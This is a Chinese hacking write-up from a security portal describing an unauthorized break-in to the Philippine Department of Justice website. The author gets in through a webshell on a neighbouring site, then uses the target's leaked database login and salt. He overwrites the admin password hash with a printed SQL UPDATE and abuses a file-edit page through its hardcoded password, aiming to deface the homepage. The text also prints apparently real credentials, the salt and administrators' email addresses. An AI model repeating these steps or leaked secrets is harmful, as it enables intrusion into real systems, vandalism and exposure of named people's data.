频道栏目
首页 > 安全 > 网站安全 > 正文
权限不足跨目录旁注菲律宾司法局
2014-12-12 11:54:38         来源:上学吧  
收藏   我要投稿


首先看了一下网站,没看出是什么程序写的,也没发现值得深入下手的地方。于是干脆旁注了
一分钟就拿下了同服务器上的一个网站firstmetro.com.ph(服务器上网站不少,可以自己试一下,这一部分不一定非要跟我的路子走的)
这才发现,服务器支持asp,aspx,php,但是限制很多,你自己试一下就知道为什么限制很多了
简单试了下没提权成功。反正拿服务器不是首要任务,首要任务是挂菊花聊天室,先挂上聊天室再提权(后来事实证明,还是先提权才能把主页挂上菊花的)。
很庆幸,这个vhost网站能跨站读取源码,但是权限不够,可以用webshell跨站读取一部分网站的源码,但是不能直接拷贝或者上传文件到目录

当然,意思就是不能直接对doj.goc.ph这个网站的目录中写入文件或者修改文件代码



简单翻了一下网站目录,没有明显的后台登陆地址的标记






登陆了一下MySQL账户,不是root,还是4.x,用处不大

这几个目录中比较可疑的是:

https://www.doj.gov.ph/doj2.0/c0ntent/login.php



访问这个地址,这个目录明显就是后台,这货后台隐藏的也够深的。

如果这是注入拿站,拿站的人是要死的,MySQL 4.x的版本,管理员表是doj_auth_users,字段是pangalan,密码是n位SALT的SHA512加密,后台又这么深,真的是基霸管理员啊



后台隐藏这么深,我很怀疑是之前新闻说的菲律宾政府要求各部门加强网站安全性通知以后管理员抽风给做成这样的



我先看了一下登录文件login.php的代码:
if (isset($_POST['submit'])) {
if (empty($_POST['user']) || empty($_POST['pass'])) {
$msg = "ERROR: Please check your input!";
}
/***** Calculate hashed password *****/
$hash = new Crypt_Hash('sha512');
$password = bin2hex($hash->hash(SALT.clean_field($_POST['pass'], 1)));
$LOGINQUERY = "SELECT * FROM ".TBL_LOGIN." WHERE pangalan = '".clean_field(base64_encode($_POST['user']), 1)."'AND pasword = '".$password."'";
$result = mysql_query($LOGINQUERY) or $msg = "Error executing query.";


这段是密码验证部分的代码,简单来分析一下代码好了


Calculate hashed password前面的部分是验证输入的不为空,这个很简单,Calculate hashed password后面是加密密码和验证的部分,这里就比较郁闷了


pangalan应该是用户名的表段,而password明显就是密码的表段了。管理员字段是在:TBL_LOGIN 这个常量中存放的
$password这个变量是经过加密的,看加密格式:
$password = bin2hex($hash->hash(SALT.clean_field($_POST['pass'], 1)));

先将POST提交的密码一次处理(初步判断是去空格引号转义等功能)后,和SALT常量结合,然后hash加密

 

那么我们再登陆数据库看看,登陆信息在include.php文件中,数据库的信息如下:

define ("HOST", "localhost");
define ("USER", "dojmis");
define ("PASS", "P@ssw0rd123");
define ("DATABASENAME", "wcms1");
define ("ADMIN_EMAIL", "haroldtubangi@gmail.com");
define ("ADMIN_EMAIL", "misd.doj@gmail.com, hgtubangi@doj.gov.ph, haroldtubangi@gmail.com");
define ("SALT", "Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rds"); // salt to strenghten passwords
define ("TBL_LOGIN", "doj_auth_users");

 

用dojmis和密码P@ssw0rd123登陆数据库成功(我很怀疑P@ssw0rd123就是FTP密码)执行以下SQL语句:

select pangalan,0x3a,pasword from doj_auth_users

上面的管理员表段名也是从include.php中找出来的,自己仔细看一下

 

得到:bWJi:bb376d2738b4561ad15973058f7a5b420a644cf2a29e997e9a656268c2bbfa9337ea7b2032129c8e74aa13cefeaf2294d1f7a784cb5d8864a7c80ba17a10f83b

 

我了个去,这么长的密文,跟md5看来是没关系了,直接逆向恐怕更、、、、不可能了

 

那咱们就分析分析他的加密方式,根据他的加密方式,咱们自己制作一个密码,直接给他改密码好了,然后用咱们自己的密码登陆后台

 

这中间有个clean_field()函数,这个函数在function.php中,其实看名字就知道是去空格等操作了,所以我们直接忽视

上面的加密方式中有个SALT,那就先找SALT

在include.php文件中:

define ("SALT", Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rds);

 

这么长的SALT,如果不提前知道,怎么能跑的出来密码。不过好在我们已经知道了

 

假定我要将密码设置为:silic,那么根据他的算法,加密前先和SALT混合,就是:

Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rdssilic

 

然后看看怎么进行hash加密

看了这行代码:

$hash = new Crypt_Hash('sha512');

应该是sha512八九不离十了。于是将

Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rdssilic进行SHA512加密以后就得到:c42c6c5c1e85c1ed0237576d4ff8ef3a7c145455a350fd43a489ce92f62f0633484b8b0c9b0ba8f5cad4401ef1c5285b6396d24ba144616127f2376d61459a6a

 

得到了我们特定的密码的加密,然后就该修改数据库密码为我们的密码了。

在数据库中执行SQL语句:

UPDATE doj_auth_users SET pasword='c42c6c5c1e85c1ed0237576d4ff8ef3a7c145455a350fd43a489ce92f62f0633484b8b0c9b0ba8f5cad4401ef1c5285b6396d24ba144616127f2376d61459a6a' WHERE pangalan='bWJi'

 

就将后台的登陆密码修改为silic了

 

但是这还没有结束,因为我们的目的是取到Webshell

(其实这是图省事,因为咱们目的就是给他挂挂首页,取到Webshell足矣。但是。。。千万别抱这种想法,因为这个网站目测不提权是改不了主页的)

 

在登陆后台前,需要注意一个地方:

WHERE pangalan = '".clean_field(base64_encode($_POST['user']), 1)."'AND pasword = '.....

这里的用户名字段是pangalan,但是用户名是经过了base64加密的,数据库中的pangalan字段数据是bWJi,实际上的密码需要经过base64解密,解密后得到实际登陆用户名为:mbb

用户名解出来了,密码自己给他改上去了。登陆后台

 

后台很简陋(但是很牛逼,居然会封ip,而且从头至尾居然封了我好几个ip,最后一不小心把index.php文件删了,也算是解了封我ip的气)

 

 

拿到webshell的话,发现只有一个fileedit.php可以加以利用,其他都是纯数据库操作

我看了半天没看明白怎么用,两个输入框,左边长右边短

 

还是仔细分析一下代码:

if ($_SESSION['fe_flag'] == 1) {
$f=fopen ($_SESSION['fe_filename'],"rb");
$_SESSION['fe_data']='';
while(!feof($f))
$_SESSION['fe_data'].=fread($f,filesize($_SESSION['fe_filename']));
fclose($f);

有一个fopen函数,这里显示确确实实可以修改文件。但是看后面,需要一个触发条件就是session的fe_flag的值为1

看了一下HTTP Header,这个条件其实是不具备的。

再来仔细看看代码,如何能得到这个session条件:

if (file_exists($_POST['titlepage']) and $_POST['comment'] == "L@br@d0r") {
$_SESSION['fe_flag'] = 1;
$_SESSION['fe_filename'] = $_POST['titlepage'];
}

 

仔细搜一下,果然又有一个密码验证,当POST的变量comment为密码时,就可以操作文件了

 

这次看清楚了,应该是没有加密了,直接密码就是:L@br@d0r

再来看一下这个功能框里面的源码,看看哪个是comment变量:

<form name="form1" method="post" action="fileedit.php">


File: <input type="text" name="titlepage" value=""  size="80" />  


<input type="text" name="comment" value="" size="15" />


<br /><br /><center><input type="submit" name='getfilename' value='Get File' /></center><br />


</form>

第一个输入框是文件名(titlepage变量),第二个输入框是密码(comment变量)

当第二个框的变量通过了系统的密码验证,就将第一个变量接收并读取这个文件

 

那么第一个框输入test.php第二个框输入L@br@d0r就能修改test.php这个文件了

 

点击复制链接 与好友分享!回本站首页
上一篇:ThinkOX全版本通杀0day
下一篇:XSS入门教程文档
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站